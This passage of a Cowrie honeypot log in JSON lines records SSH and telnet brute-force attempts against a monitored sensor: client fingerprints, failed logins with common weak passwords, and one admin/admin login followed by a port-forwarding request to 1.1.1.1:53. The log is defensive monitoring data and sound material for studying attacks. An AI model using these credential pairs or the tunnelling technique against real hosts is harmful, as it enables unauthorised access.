af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:43:34.120926Z","src_ip":"165.154.205.91","session":"88477841908b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"qwerty123","message":"login attempt [ftpuser/qwerty123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:43:35.097693Z","src_ip":"165.154.205.91","session":"88477841908b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:43:36.335752Z","src_ip":"165.154.205.91","session":"88477841908b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.205.91","src_port":55994,"dst_ip":"159.203.135.109","dst_port":22,"session":"0981799254ef","protocol":"ssh","message":"New connection: 165.154.205.91:55994 (159.203.135.109:22) [session: 0981799254ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:44:30.984958Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:44:30.989613Z","src_ip":"165.154.205.91","session":"0981799254ef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:44:31.219002Z","src_ip":"165.154.205.91","session":"0981799254ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftptest","password":"123321","message":"login attempt [ftptest/123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:44:32.168139Z","src_ip":"165.154.205.91","session":"0981799254ef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":49182,"dst_ip":"159.203.135.109","dst_port":23,"session":"b1d00df264ed","protocol":"telnet","message":"New connection: 135.148.33.91:49182 (159.203.135.109:23) [session: b1d00df264ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:44:32.975968Z"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:44:33.404451Z","src_ip":"165.154.205.91","session":"0981799254ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.57027578353882,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:45:08.546116Z","src_ip":"135.148.33.91","session":"b1d00df264ed","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.205.91","src_port":44432,"dst_ip":"159.203.135.109","dst_port":22,"session":"1217c18c8b43","protocol":"ssh","message":"New connection: 165.154.205.91:44432 (159.203.135.109:22) [session: 1217c18c8b43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:45:27.997706Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:45:28.005350Z","src_ip":"165.154.205.91","session":"1217c18c8b43","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:45:28.236620Z","src_ip":"165.154.205.91","session":"1217c18c8b43","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"qweasd123","message":"login attempt [deploy/qweasd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:45:29.185624Z","src_ip":"165.154.205.91","session":"1217c18c8b43","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:45:30.417329Z","src_ip":"165.154.205.91","session":"1217c18c8b43","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.205.91","src_port":32864,"dst_ip":"159.203.135.109","dst_port":22,"session":"bdd992b14441","protocol":"ssh","message":"New connection: 165.154.205.91:32864 (159.203.135.109:22) [session: bdd992b14441]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:46:26.209196Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:46:26.214196Z","src_ip":"165.154.205.91","session":"bdd992b14441","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:46:26.453213Z","src_ip":"165.154.205.91","session":"bdd992b14441","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"P@ssw0rd1234","message":"login attempt [ubuntu/P@ssw0rd1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:46:27.407026Z","src_ip":"165.154.205.91","session":"bdd992b14441","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:46:28.640599Z","src_ip":"165.154.205.91","session":"bdd992b14441","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.103.117.141","src_port":55946,"dst_ip":"10.17.0.5","dst_port":22,"session":"16be2f9cec11","protocol":"ssh","message":"New connection: 14.103.117.141:55946 (10.17.0.5:22) [session: 16be2f9cec11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:46:32.974797Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:46:34.366027Z","src_ip":"14.103.117.141","session":"16be2f9cec11","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:46:34.369796Z","src_ip":"14.103.117.141","session":"16be2f9cec11","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"777888","message":"login attempt [ubuntu/777888] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:46:35.251972Z","src_ip":"14.103.117.141","session":"16be2f9cec11","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"187.212.47.18","src_port":41294,"dst_ip":"10.17.0.5","dst_port":22,"session":"3daf74d18b55","protocol":"ssh","message":"New connection: 187.212.47.18:41294 (10.17.0.5:22) [session: 3daf74d18b55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:46:54.027232Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:46:54.032136Z","src_ip":"187.212.47.18","session":"3daf74d18b55","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:46:54.317736Z","src_ip":"187.212.47.18","session":"3daf74d18b55","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"password","message":"login attempt [testuser/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:46:54.652797Z","src_ip":"187.212.47.18","session":"3daf74d18b55","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"166.62.124.255","src_port":42994,"dst_ip":"10.17.0.5","dst_port":23,"session":"03dc4ff24673","protocol":"telnet","message":"New connection: 166.62.124.255:42994 (10.17.0.5:23) [session: 03dc4ff24673]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:46:55.557068Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:46:55.732105Z","src_ip":"187.212.47.18","session":"3daf74d18b55","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"177.230.54.129","src_port":7467,"dst_ip":"159.203.135.109","dst_port":23,"session":"5f4c686e7060","protocol":"telnet","message":"New connection: 177.230.54.129:7467 (159.203.135.109:23) [session: 5f4c686e7060]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:46:59.160592Z"}
{"eventid":"cowrie.session.closed","duration":13.510322093963623,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:47:12.670754Z","src_ip":"177.230.54.129","session":"5f4c686e7060","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.205.91","src_port":49526,"dst_ip":"159.203.135.109","dst_port":22,"session":"fe4ec9fa5a12","protocol":"ssh","message":"New connection: 165.154.205.91:49526 (159.203.135.109:22) [session: fe4ec9fa5a12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:47:24.292974Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:47:24.297699Z","src_ip":"165.154.205.91","session":"fe4ec9fa5a12","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:47:24.525090Z","src_ip":"165.154.205.91","session":"fe4ec9fa5a12","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devops","password":"P@ssw0rd","message":"login attempt [devops/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:47:25.467829Z","src_ip":"165.154.205.91","session":"fe4ec9fa5a12","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.63159203529358,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:47:26.188535Z","src_ip":"166.62.124.255","session":"03dc4ff24673","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:47:26.696518Z","src_ip":"165.154.205.91","session":"fe4ec9fa5a12","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.190.148.175","src_port":23534,"dst_ip":"10.17.0.5","dst_port":23,"session":"c74e6a02916c","protocol":"telnet","message":"New connection: 45.190.148.175:23534 (10.17.0.5:23) [session: c74e6a02916c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:47:48.787044Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":14314,"dst_ip":"10.17.0.5","dst_port":22,"session":"90706fd84efe","protocol":"ssh","message":"New connection: 87.251.64.176:14314 (10.17.0.5:22) [session: 90706fd84efe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:47:59.062828Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:47:59.071205Z","src_ip":"87.251.64.176","session":"90706fd84efe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:47:59.160818Z","src_ip":"87.251.64.176","session":"90706fd84efe","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:47:59.549418Z","src_ip":"87.251.64.176","session":"90706fd84efe","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:47:59.648916Z","session":"90706fd84efe","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:47:59.747141Z","src_ip":"87.251.64.176","session":"90706fd84efe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:47:59.986042Z","src_ip":"87.251.64.176","session":"90706fd84efe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.205.91","src_port":37956,"dst_ip":"159.203.135.109","dst_port":22,"session":"d173692e0e15","protocol":"ssh","message":"New connection: 165.154.205.91:37956 (159.203.135.109:22) [session: d173692e0e15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:48:22.362867Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:48:22.370623Z","src_ip":"165.154.205.91","session":"d173692e0e15","protocol":"ssh"}
